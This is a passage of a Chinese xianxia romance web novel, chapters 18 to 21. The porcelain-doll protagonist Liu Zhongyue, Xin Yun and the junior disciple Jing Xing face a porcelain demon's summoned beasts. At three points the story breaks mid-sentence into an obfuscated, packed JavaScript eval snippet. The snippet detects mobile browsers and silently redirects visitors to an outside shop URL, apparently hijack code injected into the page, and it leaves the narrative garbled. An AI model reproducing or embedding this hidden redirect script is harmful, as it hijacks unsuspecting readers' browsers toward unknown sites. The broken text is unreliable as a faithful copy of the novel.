不过那二人的惨叫声还是入了柳重月的耳朵,柳重月心中有些不适,却也没再转头。 “瓷妖现在心性变了,”辛云道,“她杀人已经上瘾,嗜血太多,会被心中的恶念侵袭,最后走向你死我活的灭亡。” 柳重月心不在焉,“嗯”了一声。 他们又回到昨夜待过的院子里,柳重月被辛云放到台阶上,辛云又问:“今日可觉魂魄有何异样?” “不曾。” “那便好。”辛云见他脸上沾着一缕头发,下意识伸出手,想替他拂去。 指尖还未碰到柳重月,他忽然间便清醒了,停下了动作。 他在做什么? 辛云问着自己,忽觉方寸大乱,心擂如鼓。 正要收手,柳重月却迎身靠近了他,问:“你想做什么?” 18. 第 18 章 他想做什么? 辛云脑子里顿时像是被什么热气冲昏了头脑,又像是喝醉了酒,有些晕乎乎的。 幸亏脸上还带着覆面。 他短暂地失去了思考的能力,倒还能想到这个。 辛云唇瓣张了张,半晌才道:“你……头发黏在脸上了,会不舒服吧?” 他收了收手,只是指了一下对方的面颊。 见柳重月抬指勾住那一缕头发,白皙的手指与面容形成了鲜明的对比,很明显并非一人。 他到现在才意识到,柳重月一直顶着那张很是丑陋的面容呢。 他真是疯了。 辛云有些狼狈地转开了视线,但不过半晌又转了回来,却瞧见对方正偏着脸,望着不远处的房顶。 房顶上站着一个红衣的修士,衣摆在风中飘扬,像是一捧烈火,又倒映在柳重月的瞳眸之中。 辛云忽然觉得很不是滋味。 可是能怎么办呢。 爱或是恨,都是他们师兄弟二人之间事情,他作为旁人,也没办法、更没立场多说什么。 就是觉得自己有点多余。 才这么想着,柳重月忽然冲着房顶上那人挥挥手,道:“道友,你下来会儿,我有话要与你说。” 景星还有些怔然。 他试图回忆起有关那个人的事情,和他以前在渡业宗发生过的那些过往,依稀记得自己年少时他们曾有过一段时间的亲密。 也记得那段时日宗主不在山上,将自己托付给柳重月教导。 可是那段时日发生了什么,却什么都记不清了。 只记得自己在宗门大比上将柳重月一剑挑下山崖,他没想到柳重月不多不闪,心里很慌,没来得及多想便纵身跃下。 却只眼睁睁地看着他被程玉鸣抱在怀里。 他做什么都慢了半拍,于是错漏了一步,错漏了第二步,年岁一久,与那人之间的距离便越来越远。 直到再也看不到对方的身影。 也再也看不到他留下的痕迹。 要是那个时候他快一步,或者后来早一步出关,柳重月可能也不会死。 魂魄找不到,连尸身也不知在何处。 景星后来去找过程玉鸣,程玉鸣冠冕堂皇,左右推脱,却始终不肯告诉他柳重月的尸身在何处。 质问到最后也觉得没意义了,程玉鸣如今修为已是渡劫后期,离飞升临门一脚,兴许是拿着柳重月证道了。 反正柳重月身上有罪责,有洗不清的杀戮因果,对于仙道来说死不足惜。 从程玉鸣那里回到渡业宗之后他便沉心修行,修为慢慢上涨,直到他觉得已经超越了程玉鸣。 但那时程玉鸣也不见了。 他与柳重月曾经生活过百年的寒泉边空无一人,花草树木死绝,成了荒芜一片的死地。 景星恍惚着,又听见那个很熟悉、又很陌生的声音在不远处喊他:“道友?” 很像那个人的声音。 那个人似乎便是这样的声线吧,景星出着神,又想,好像不是。 怎么会记不清了呢。 他将望着天边的视线转下,望向院中台阶上。 眼前看东西还有些模糊,他木然睁着眼睛看了半晌,只迷迷糊糊看见一道纤细的身影。 麻花辫整齐地搭落在肩头,发尾被捏着,轻轻地、像是捏着尾巴草似的摇晃着。 也像是在摇晃狐狸尾巴。 景星忽然喃喃道:“师兄……” 他往前走了一步,柳重月瞳孔缩了缩:“诶——” “砰!” 景星从房顶上砸了下来。 柳重月呆了一会儿,有些无奈的捂了捂脸。 好蠢的师弟。 “呃……”景星狼狈地从地上爬起来,再怎么也清醒了,有些懊恼地拍了拍自己的衣摆。 导致他摔下来的那个罪魁祸首还在不远处坐着,音量不是很大,在和他说话。 这人讲话一直都这样,音量总是不大,却也不会让人听不见,反倒觉得他嗓音温和,话尾带着小钩子似的,勾得人心里发痒。 就是这张脸着实是难看了点。 看得人心里怪难受的。 柳重月冲他招招手:“你过来,我有话和你说。” “做什么啊,”景星有些不耐烦。 他一看见柳重月那张脸就来气。 明明…… 明明他们身形那么相似,怎么就长了这样一张脸呢。 景星撇撇嘴角,却还是听话地靠近了柳重月。 柳重月看看站在自己身边的辛云,又说:“我有点事,你……” “你们说,”辛云察言观色,知晓柳重月是想支开他,主动开口道,“我去看看瓷妖那边。” 辛云垂在身侧的手指微微蜷曲起来,半晌还是松下,转身走了。 反正……也没他没多少关系。 他的身影消失在转角处,柳重月余光瞥着他消失的方向,景星不耐道:“你俩腻腻歪歪做什么呢?” 他很是看不上柳重月。 或者说,是看不惯辛云。 更看不惯辛云总是背着柳重月走来走去。 景星抱着手臂靠在墙柱上,又说:“你一个丑八怪,他到底看上你什么了,哦,他也是不以真面目示人,恐怕也是个丑八怪,不方便露脸吧。” “是啊,”柳重月笑意盈盈,“你真是聪慧呀,这都能猜出来。” “……” 景星面颊有些泛红,“没什么好话么你,阴阳怪气什么?” 顿了顿,他又道:“喂!” “我没有名字么?” 一提到名字景星便更来气了,怒道:“你有告诉我姓名么?” 柳重月闻言便有些惊讶:“我不曾告诉你我的姓名吗?” “你何时说过,”景星真是不知道为何在对方面前总是那么控制不住脾气,话语都刻薄了些,“我瞧你不仅脸丑,脑子也不好使吧。” “你别做这种表情了,真是有碍观瞻,不是有事找我,磨磨唧唧还不说。” 柳重月也不生气,只捏着自己的发尾捻动着,笑道:“这不是瞧你一个人在屋顶站着,怕你寂寞,于是把你叫下来说说话。” “谁爱和你说话,”景星满面嫌弃,又问,“到底是你们二人谁将我唤来的,快些将我送回去。” “着急回去做什么?”柳重月悠然自得地捏着发尾,问,“还是你在那边娶了妻,有了孩子,等着你回去养孩子。” “谁有孩子了?”景星心觉柳重月总爱这么胡言乱语。 怎么会有这样的人,真是让人讨厌。 他心口憋着气,这么多年找不到发泄口,到这一刻,在这个丑八怪面前却不知道为什么,忽然有些抑制不住了。 “你知晓什么,我点了百年的长明灯若是因为这耽搁的几日有了什么差池,我必定要将你们都拿去给我师兄陪葬!” 长明灯? 柳重月愣了愣,下意识便跟着念出口:“长明灯?你点谁的长明灯?” “我师兄的。” 柳重月点点头,心想,渡业宗又有师兄弟死了么,还是魂飞魄散的死法,真是世事无常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050983|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 柳重月与宗门其他师兄弟其实也不算太熟悉,曾经他还是宗门大比时确实身边总有人围着,他谁都说上两句话,转头便会把人忘记,根本记不住名字和面容。 想着从前也算是说过两句话,他好心问:“是哪位道友故去了?兴许我还认识呢。” “确实,”景星撇开视线,语气却低沉下去,“整个安垣东洲恐怕没人不知道他。” “嗯?”柳重月茫然地想,渡业宗除了自己还有这种人吗? 他心里生出些许犹疑,转而便听到景星道:“是柳重月的。” 柳重月:“……” 疯了吧。 给他点长明灯啊。 难怪之前辛云说有人在幻境外唤自己的名字,想必便是景星点的长明灯。 自己的魂魄在幻境之中,长明灯无法召唤到,真的能点燃吗? 不过瞧景星这个模样,恐怕是点不燃的,若能点燃也不至于像这般偏执焦灼。 柳重月耸耸肩,无所谓般道:“人死不能复生,你看瓷妖坚持了这么多年,除了将自己堕了魔,不也什么都没得到。” “他们不一样,”景星语气有些激动,“你又怎么能明白?” “好好我不明白,”柳重月很是随和,“你说什么便是什么吧。” 他接着靠近景星探查了一下对方身上的阵法。 自己魂魄深处余留的灵力应当不算多,连他自己都很难感受到,按理来说景星不会在幻境中停留那么久的。 柳重月仔细检查了一下阵法,可阵法很是稳定,没有要失效的迹象。 想是景星还得跟着他们一段时日。 柳重月有些想不明白,自从修为突然倒退之后他的灵力便跟着削弱了很多,很多时候只能勉强保命,应该没办法维持阵法这么久的。 难道和当年修为倒退有关么? 柳重月看了看自己的掌心,瓷人的手掌生了裂纹,身体里的灵力无法调动,便不能再经受剧烈冲击了。 若是……可以将他人的灵力夺位自己所用呢? 兴许那样便能自行活动了。 柳重月沉思着,与景星之间的交谈断开,二人都沉默下来。 景星原本不情愿与对方说话,现下当真安静了,他又觉得不满,心里很躁动,还想再继续。 他不知道自己为什么会有这样的想法,有些隐隐约约的不安感。 正想着措辞开口,辛云忽然出现在转角处,远远道:“你们说完了么?” 他靠近了些,又继续说:“瓷偶那边有动静了,可要过去看看?” 柳重月坐得屁股发麻,便向着对方伸出手臂,做出一副讨抱的姿态:“我要去。” 一抬手,被衣带裹挟的纤细腰肢便展露在景星面前。 景星下意识转开了眼。 怎么会这么细,很好抱的样子。 见辛云沉默着在柳重月面前蹲下,景星忽然鬼使神差问辛云:“喂,要不要我帮你背一会儿?” 辛云漠然抬眼看过来。 他只是对着柳重月的时候总有些青涩温和,对着外人还是往日那般冷淡,语气也很冷,本没什么情绪,听起来又觉得似乎有些生气,道:“用不着。” 柳重月趴在他背上,他起了身,甚至没多看景星,转而便往外走:“你这般嫌弃他,谁知晓你会不会将他摔碎。” “我——”景星一时语塞,又觉得自己是不是疯了,居然想着去背那个丑八怪。 他不愿承认自己先前说过的话,忙着找补道:“你以为我愿意背他,我还嫌他脏了我的背。” 19. 第 19 章 瓷妖如今正在董凡雁的书房内。 董凡雁是一个很尽职尽责的城主,她很珍爱自己城池内的百姓,在府中留有很多城内与百姓的详细状况。 本是为了自己能够更好地治理,现在却成了瓷妖陷害的工具。 董凡雁的魂魄还在体内,却被瓷妖镇压着,无法动弹,只能拼命挣动。 瓷妖捏着书籍的手指微微攥紧,她与董凡雁抗争了一会儿,很快又笑起来,轻声道:“不要挣扎了城主大人,你只是个懂些术法的凡人而已,无论如何都没办法与妖、与仙,或是与魔相斗。” “你看,当初若是听我的,与我合作,我给你仙缘和仙根,助你修仙,你也不会陷入这样糟糕的境地。” 董凡雁无法掌控身体,什么都说不了。 瓷妖再次获得了身体的完全掌控权,嘴角噙着笑:“你和向安都是一样的人,愚忠到令人觉得可怜可笑,仙道,皇室,谁在乎你们拼命守护的东西,天道一句话,说都是命,然后就会把所有东西都收回。” “你有得选吗?你没得选。” 董凡雁指腹轻轻从书上字迹划过:“向安不是在意城中百姓,信任仙道么,我便成全他一次。” 她指尖向前一划,一道乌黑烟雾俶然冒出,逐渐在风中扩散蔓延,穿过窗户缝隙,涌入天际。 辛云正背着柳重月进到院中,眼前天光忽然暗下,一副风雨欲来的之状。 狂风肆虐,将柳重月颊边的碎发吹扬起来,纷纷往面上扑。 虽有辛云在前方当着,但睁眼还是有些费力。 柳重月仰着头望向天边,乌云之下雷鸣电闪,满是不详。 柳重月轻声道:“糟糕。” “你使得此法术?”辛云问。 “曾经见过,”柳重月脸色有些苍白,“这是……妖族相通的传唤之术,与我之前落下的阵法相似。” 但是,瓷妖这次唤来的似乎并不是幻境中的妖族。 她一直都保存着外界的意识。 柳重月唇瓣张了张,忽然道:“快走!” 大约辛云也猜到了什么,早便已经有了防范,柳重月话音刚落下,他便脚下一蹬向着身后屋顶跃去。 景星跟在他们身后赶来,见他们又折身往回走,问:“怎么了?” 尾音尚在风中飘散,一道惊雷忽然劈落,轰地一声击在身侧屋顶上。 紧接着无数神志未开的妖兽自天际倾盆而下,涌入这整座城池。 景星有些惊讶,他已经很多年不曾见过妖兽了。 柳重月死之前不知道做了什么,原本还时时在下界百姓生活居所肆虐的妖兽纷纷消失,不见了踪迹。 仙道几番搜查都未发现漏网之鱼,唯一能想到的便是柳重月盗走仙骨前曾自请去了尔尔山历练。 那里可是妖兽作祟的最为严重的地方,甚至在那座山里建立了妖兽的栖息地。 柳重月去了一趟尔尔山,便再也没回来。 但那地方的妖兽都已经消失不见,没有任何迁徙的迹象,全都凭空不见了。 当时想不明白,等柳重月死了,却各个都意识到,妖兽的消失似乎和柳重月有关。 在尔尔山的山间还残留着明钰仙尊那把剑的灵力和剑痕。 明钰仙尊都已经故去几百年,那剑失了主人不见踪影,原本便应该在柳重月身上的。 柳重月当初却什么都没说。 景星心中思绪七上八下,跟在辛云与柳重月身后向着城主府外跃去。 柳重月偏着脸肃然望着天际逐个蔓延的妖兽,那里云层破开,日光烧红了整片天,像是着了大火。 他颊边发丝正不断拂过面庞,偶有挡住视线的时候,他却恍若未觉。 妖兽他很熟悉,与妖族同根同源,妖族族人有仙缘,便能修炼成人,甚至可以进入仙道修行,虽飞升无望,但攒些因果功德,兴许来生便能转世为人,重新悟道飞升。 但妖兽都是神志未开之流,生性凶残,常为魔修与鬼修所用,以此祸害人间。 柳重月死前妖兽便都已清除干净,如今瓷妖召唤来的妖兽恐怕来自于千年前。 柳重月抓着辛云的手微微收紧了些,正深思着,一道罡风忽然自身侧斩来。 柳重月眼睛微微瞪大,瞳孔内倒映着明亮的利爪灵流。 下一瞬,辛云忽然收紧了背着他的双手,纵身一跃,一觉踹在那攻来的妖兽之上,竟将其一脚踹了出去。 又是一道剑意斩过,自他们与妖兽之间划出一道巨大的光屏,轰然撕裂了眼前所有。 柳重月眨了眨眼。 这般凶险的时候,他竟还想着,景星修为精进得还挺快。 不过他体性如火,为何要用银剑。 觉得好看么? 柳重月的思绪只到这里便断了。 景星的衣摆在眼前猎猎摇曳,他提着银剑,正要上前去,忽然又被阵法拽了回来。 辛云皱了皱眉,忽然将柳重月卸了下来。 柳重月:“诶?” 他被转交到景星手中,辛云反手取出了自己的木剑,道:“你照看他,我去。” 话没说完,他已迎身斩去,与那群妖兽缠斗在一起。 景星也没来得及说自己愿不愿意,人已经给他了,现在再拒绝也没什么用,只好弯身下去,要将柳重月单臂抱起来。 柳重月忙道:“干嘛这个姿势!背着不便好了。” “背着你我如何使剑?” “你有两只手,”柳重月道,“一只手背我就行了。” 景星想说这样怎么背得住,又有一只妖兽张着血盆大口扑来,等不得他们再犹豫了。 景星将妖兽斩于剑下,让柳重月爬上自己的后背。 对方自觉将手臂揽在他颈间,大概因为靠得太近,他似乎还感到对方瓷器制成的,带着无机质般光滑细腻的面颊正蹭着自己的后颈。 景星忽然心一痒,脚下竟然一个踉跄,险些带着柳重月一起摔下屋顶。 柳重月吓了一跳:“你倒是小心着些,我这身体可不禁摔。” “挑三拣四,我又没什么义务背你!” “那你将我放下来吧,”柳重月语气里有些委屈,却又像是不便发泄般,带着些许鼻音,“我在这里等我夫君回来。” “我求之——” 景星话说到一半便停了,心觉自己也不是那么求之不得。 他看不见柳重月的面容,只听他嗓音,实在是让人不忍心将他丢下。 可一想到是那张丑陋的面容说出来的,景星心里的怜惜又少了许多。 他背着柳重月自房顶跃下,随手斩着妖兽,忽然听见天际传来瓷妖尖锐的笑声:“你们本来不应该进来的,就让这个幻境留在最开始的美好不行么,一定要将前因后果了解得那么清楚有什么用,还不是白费力气,还要让这城中百姓再遭遇一次屠戮。” “你们仙道和我夫君先前做的又有何分别。” “自然有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050984|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”柳重月语气淡淡,甚至连音量都还是往日与人轻声细语那般,“此处是幻境,幻境中的都是死人,死人又不知疼痛,甚至没有自己的意识。” “况且,就算我们不曾进入此处又如何,事情是已经发生过的,因果在你的手上,又不是在我们手上,你说可有区别。” 景星一边与扑上来的妖兽缠斗,又见识了一番对方的牙尖嘴利。 他心里实在是奇怪,这些性情差不多的人难道都是这般擅长斗嘴么? 景星心不在焉背着柳重月往前走,那方瓷妖似乎也觉得难以接话,一时没了动静。 又往前走了一段路,进了东街的街巷,道路上都是肆虐凶残的妖兽,房屋倒坍,百姓哭泣奔逃。 柳重月看见了向安,他焦急带着几个百姓往暂且安全的地方跑,额上已经生了冷汗。 柳重月忽然觉得口舌干涩,像是被什么石头堵住了嗓子,什么都说不出来。 烟山脚下的村落,也曾经是这么没的。 那个他从前守卫了五百年的地方。 和程玉鸣一起建了房子,在一起生活过的地方。 他曾经将那里当成了家。 原来兜兜转转还是没有家的。 柳重月恍惚了片刻,眼前忽然白光刺目,他下意识闭上了眼,紧接着便是极大的冲击和灵流扑面而来。 他感到身体腾空了一瞬,又被人抓了回来,抱在怀里,然后与之一同摔在地上。 因有人在身下垫着,瓷偶的身体没因此碎裂,但活动起来多了些阻塞。 柳重月被景星搀扶起来,眼前还有些花。 景星看着眼前被激起的大片浓雾,咬牙道:“这瓷妖修为似乎比我高。” “你我进来之前她已经不知道夺走多少人的修为灵力了,非正常修炼而成,短时内会有极强的爆发力。” 柳重月说完,感觉下巴有些松动。 他伸手碰了碰,摸到自己脸上的裂隙竟已从眉梢蔓延到了下巴,从他的左脸处划出一道突兀的长疤。 再受两次这样的冲击,只怕身体便要碎了。 柳重月咬咬牙,眼前浓雾正逐渐散去,又有妖兽攻来,景星便将他拦腰抱在怀里,提剑又冲了上去。 他做事一向冲动,似乎也不计后果,总是打得很凶。 柳重月只觉得身体碎得越发严重了,忙道:“先缓一缓。” 谁知景星却像是杀红了眼,瞳眸都有些泛红,只顾向前厮杀。 柳重月心下一惊,不知晓他的心魔已经到了什么地步,怎么屁大点事也能将其引出来。 他又叫了对方两声,实在忍不住大声道:“景星!” 景星挥剑的手忽然顿了顿,眸中恢复了些许清明,半晌才怔然想低下头来。 又是一道灵力破空斩来,景星出着神,未做出反应。 直到木剑凭空刺穿,将那道灵力骤然打碎。 巨大的冲击让景星脱了手,与柳重月一同向后飞去。 辛云面无表情跃至柳重月身后,单臂将他接在怀里,另一只手顺手替他扶了扶下巴。 柳重月这才长松一口气,道:“多谢,还以为快要失去下巴了。” 辛云却有些犹豫:“你……你的脸……” “我知晓,方才摸到有裂隙。” “不是,”辛云道,“我是说——” 他话没说完,已经落地的景星忽然往这边望过来,怔怔的,又像是难以置信般轻声试探道:“师兄?” 20. 第 20 章 师兄…… 真是挺久远的称呼了,他还活着的时候也已经很久没听到景星这么叫他了。 柳重月怔了怔,恍然意识到什么,又伸手摸了摸自己的脸。 似乎是障眼法失效,自己的脸顶了上来,被景星看见了。 柳重月轻轻“啧”了一声。 本来还想再逗他两天的。 现下情况紧急,见景星怔怔向着自己靠近,柳重月与辛云说:“立一道结界,我有话和他说。” 现在这样的情况其实并不适合停下来说话,辛云扪心自问,其实也不想让他们在一起说话。 景星之前便已经对他师兄执念那么深刻,只是不曾将柳重月认出来,现在认出来,他是否会和柳重月说—— 说一些那样的话。 辛云忽然有些心中不快,像是吞了一颗石头,堵在胸口不上不下,挺让人难受。 可也没什么办法。 他抬手落下一道结界,将他们三人罩在其中,勉强抵御着妖兽的攻击。 另一只手却仍然紧紧抱着柳重月,心想,柳重月也并非就是喜欢景星吧。 虽然他满口谎话,但他说过他不在意景星,这句话兴许不是假的呢。 辛云心不在焉,柳重月已弯起眼睛对着景星笑起来,带着狐狸般的狡黠,向对方招招手:“师弟,过来。” 他脸上还带着瓷偶的新娘妆,眼下两点红衬得肌肤越发白皙,无比的诱人。 景星心跳忽然间便有些加快,像是喝了一杯酒,有些微醺的醉意,晕乎乎向着师兄那里走。 他头脑一片空白,甚至没办法思考为什么是柳重月,为什么他会在这里,为什么他的长明灯没办法维持太久。 他又太多太多的问题,可等走到柳重月面前,被他轻轻抚摸着面颊时,却鬼使神差问:“你恨我吗?” 通缉令是他下的,柳重月的身份是他昭告天下的,连最后也没拉住他,让他从山崖上跳了下去。 本以为那是他逃生的道路,没想到最后却走向了死亡。 “你恨我吗师兄……”景星喃喃问。 他怕听到柳重月说恨。 又怕他不恨。 这样,他们之间似乎便什么都没有了。 柳重月却只是轻轻摸摸他的脸,像景星还小的时候那样,不带任何情爱的意味,只是在安抚自己的师弟而已。 他弯弯眼睛,轻轻道:“你听我说……” 柳重月的手掌像对方后颈滑去,揽住了他的脖颈。 他掌心已经生了裂隙,摸索在皮囊上时让景星忍不住阵阵发麻。 他又恍惚了一下,柳重月却忽然目色一凝,重重拍了他的后颈。 一瞬间风声大作,灵流四散,一旁的辛云都不由得闭了闭眼,再睁开时,怀里的瓷偶已无力倒下,面容逐渐恢复成了原样。 辛云愣了一瞬,猛地抬眼望向景星。 景星身上尚且翻着莹莹白光,垂着脸,手中银剑“当啷”一声落在地上。 辛云忍不住道:“你……” 话未出口,景星却忽然动了动手指,将地上的银剑收回手中。 他慢慢抬起脸,先前或倨傲或嗔痴的神情发生了变化。 辛云有些没回过神来。 他知道柳重月在自己面前时常藏拙,分明知晓很多东西,却从不会主动提及。 原以为知晓瓷妖附身董凡雁的符咒已是难得,没想到他竟也会此法。 “辛云道友,”柳重月适应着景星的身体,手中挽了个剑花,“麻烦你帮我照看一下身体。” 景星体内灵力雄厚,柳重月已经许久没有这样的体验感了。 红衣在眼前晃过,柳重月跃上屋顶,手中长剑指天,面色平静,音量不大不小,淡声道:“来。” 话音刚落,一道天雷直直劈下,顺着剑尖滑下,却并未对他的身体造成什么伤害,反而瞬时欲脚下四散而开。 一时间妖兽纷纷嘶叫,整个城中一片混乱,耳边嗡然嘈杂。 景星的红衣衣摆被罡风吹得摇曳不停,柳重月站在风中,手中剑身一晃,又道:“破。” 风团快速旋转着,萦绕在整个太鼓城的上空,形成大片乌黑的云层。 浓雾四起,什么都看不见了。 “轰隆——” 天边落下惊雷,柳重月隐约听到瓷妖的尖叫:“你以为你将妖兽收复就万无一失了吗!这里早就是一座死城了!” “是幻境还是真实又与我何干,”柳重月平静道,“我所做,只为自保而已。” 顿了顿,他又道:“你的本体在幻境外吧,我猜董凡雁对这层幻境做了什么,你进入幻境对身体也有耗损,所以你不能长时间入内。” 柳重月轻轻笑了一下,声线却有些泛冷:“你自身难保,还是先顾你自己吧。” 他言尽于此,又一道惊雷落下,整个世间都随之陷入黑暗。 柳重月感到景星的幻体正渐渐消散,心知是传唤之阵开始失效了,便放松了身体的掌控,被对方的魂魄挤出了体外。 柳重月的魂魄在半空飘荡了一会儿,忽然又没了意识。 *** “那瓷妖又在城中作乱了。” “太鼓城?” “是,她占了董凡雁的身体,在城里掀起妖祸之乱,现在城里已经一片狼藉了。” 柳重月隐约听见有两人在说话,声音很陌生,自己也无法动弹,周围一片漆黑,甚至不知道自己在睁着眼还是闭着眼。 只觉得身体似乎正飘在半空,落不到实处。 柳重月等了一会儿,又听先前那人叹了口气。 声音似乎就在自己身边,离他很近。 “天道不允我入下界。” “我替您去!” “你去做什么,懂点三脚猫的功夫,小心到时候又通知我入下界替你收尸。” 那人轻笑了两声,声线很是温和,“向安是仙人转世,他应该会处理好的,这是他的劫难。” 他将身边那人打发了,周遭又安静下来。 柳重月感到一股温和的灵力正顺着自己的魂魄游走,逐渐有了实感。 半晌他总算得以睁眼,眼前是客栈破败的天顶,墙角出还在淅淅沥沥滴着水。 柳重月先前强行占据景星的身体,调动灵力,魂魄也是要收到压力的,现在有些疲惫,没力气动弹。 他躺了一会儿,听见脚步声从门外传来,随着“吱呀”一声,房门被人从外面打开。 然后彻底坏了,咔嚓倒了下来。 辛云:“……” 辛云将门板靠在墙上,靠近了榻边。 见柳重月已经醒了,他道:“瓷偶的身体快不行了,我勉强黏连了一些,于事无补,或许没办法再活动了。” 顿了顿,他又问:“你既能附身在你师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050985|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟身上,是否可以再换一个宿主?” “换谁?”柳重月恹恹道,“你么?” “如果你想的话,”辛云也没拒绝,“我可以暂时把身体让给你。” “谢谢,”柳重月弯弯眼睛,“不过……我对别人的身体暂时还没那么多的兴趣。” 他这般说,辛云反倒觉得有点失落,下意识道:“可你先前……” 他音量落下去,小声说:“你先前都附身在你师弟身上了。” “那是我有办法清除妖兽,我需要灵力才附在他身上的,”柳重月抬起手,看看自己从掌间断裂的裂隙,“论身体有什么能比自己的好用。” 他似是不想谈论这件事,原本附身之法对他来说并不是他最喜欢的方式,也不爱用,难得用一次也是因为事态凶险,没得选了。 他转了话题,问:“外面是什么情况了。” “幻境里的进程恢复正常了,”辛云道,“那瓷妖退出了幻境。” “城中百姓死伤惨重,向安去向仙道求助,但是……” 辛云摇了摇头,柳重月皱皱眉,问:“仙道没同意?” “是,仙道说此事他们没办法管,都是这一城百信的命数,若是插手了,会破坏既定的轨迹,导致一切崩坏。” 柳重月忽然想起先前在梦中听到那个陌生的声音说的话。 他说这是向安的劫数。 可若是向安没按照既定的方向走呢? 柳重月问:“上界仙人里,有向安这个人吗?” “……”辛云沉默了片刻,“不清楚。” 柳重月猜测,向安恐怕没有成功度过劫数,再次回归上界做他的仙人。 反而是上界的仙使在千年前陨落。 先前自己梦到的人,兴许就是仙使。 柳重月想得头疼,又问了点关于向安的事情,辛云先前出去了一趟,只知道向安去求助仙道,没见到董凡雁。 如今向安正在帮着城中百姓往安全的地方迁移,东城此处已经彻底被妖兽占领。 柳重月点点头,道:“你带我去那里,董凡雁之后应该还会去找向安的。” 辛云便附身下来,打算将柳重月抱起。 衣袖被微微上推,露出了手腕和一小截手臂。 柳重月眼尖地看见他腕上与手背的黑绸已经被祛除,手背与手腕上皮囊血肉腐败着,已经露出了其中的森森指骨。 柳重月后背蓦地一阵发凉,猛地抓住了他的手臂,将衣袖用力扯上。 正在腐烂的地方已经蔓延到了手肘处,两只手都是如此。 柳重月茫然了一瞬。 他动作太快,辛云也不曾反应过来,见对方呆愣住,这才将手抽回,用衣袖挡住了手臂。 他心跳很快,若非觉得自己手臂丑陋,他也不会一直用绸缎遮掩住。 实在是那时被妖兽咬到,扯散了黑绸,如今也找不回来了,才只能作罢。 柳重月还在出神,辛云心里隐约有些不安。 他在柳重月面前一向如此,心绪七上八下,被对方牵着鼻子走,所有情绪都因对方的态度而起伏。 辛云知晓这样是不对的,可又无从化解。 甚至还有些甘之如饴。 他担心柳重月觉得自己的手臂可怖。 虽然……这本来也是事实。 柳重月眨眨眼,懵然问:“你的手臂为何会这样?” 21. 第 21 章 辛云脸上神情有些尴尬难堪,只将衣袖挡下,将手腕遮住。 但手臂无法遮挡,还是能看得到些许。 “许久之前便有的了。”辛云只是随便解释了两句,看样子并不想多说。 他又俯身将柳重月抱起来,往客栈外走。 行动倒是无异,似乎皮囊的腐朽没什么太大的影响。 柳重月总觉得辛云像是有秘密,就像后来的程玉鸣一般,看着倒是对自己毫无保留,现下想想却又发现似乎并非如此。 程玉鸣修的什么道,修为究竟到了几成,他其实一点都不知晓,程玉鸣也从未与他提起。 柳重月也不知晓自己当初是为什么会这般心甘情愿和对方走到一起去,分明他不是那样会因为一朵魔骨花而动情的性子。 在他遇见程玉鸣之前,也曾游走于安垣东洲之内,见过许多大江大河,遇到过各种各样的人。 其中也不乏有对他示好之人,程玉鸣决不是第一个,也不会是最后一个。 但他最后还是栽在了程玉鸣身上,像是对方给他下了蛊似的。 柳重月被辛云抱在怀里。 外面是阴沉一片的天色和呼啸的寒风。 房屋倒塌,整个东街一片荒凉,再不见从前繁华景象。 辛云的声音轻轻的,被裹在风里,有些听不真切,只能感觉到对方说话时震颤的胸膛。 柳重月出了会儿神。 昌兰郡从前也经历过这样类似的事,他从烟山赶去昌兰郡,那里已成了一片废墟。 柳家也没了。 小叔失踪已久,无法探知到他的下落。 柳重月一个人搜查昌兰郡遭此劫难的原因,待了两日又看见程玉鸣跟着去到那里,说要陪他一起。 柳重月心想自己当初是什么说的? 似乎是说了“不用”。 但程玉鸣还是留了下来,从魔域历练,再到昌兰郡被屠城,程玉鸣一直在他身边。 无论他去到哪里对方似乎都能知晓他的位置,然后以巧合之名赶到他身边。 这样的窥视感让柳重月感到不适应,但也说不出究竟是何处不适应。 毕竟对方的做法确实无可指摘,感恩都有些还不清,再以小人之心度君子之腹便更不妥当了。 上回与常成天去魔域历练而分道扬镳,常成天在魔域内碰上了魔修,各个都修为深厚,常成天又怎么打得过。 他向柳重月求救,可柳重月没有收到他的传讯,什么都不曾知晓。 等后来再知道有关常成天的事,他在魔域内遭到重伤,险些修为尽失,连着闭关了许多年。 只听闻他从魔域内出来,昏迷前和家中人说,是柳重月将他抛弃在魔域,没去救他。 那段时日柳重月在烟山碰到各宗门弟子,人人瞧他的视线都很不友善。 柳重月本也没太在意,自从修为停滞之后他遭过的白眼也不少了,早就习惯了。 他从人群穿而过,有人恶作剧,往他脚下扔了灵力,想将他绊倒。 柳重月那时并不知晓,刚抬了脚,程玉鸣忽然自人群之后飞跃而来,一手揽住他的肩,将他往路边推了推。 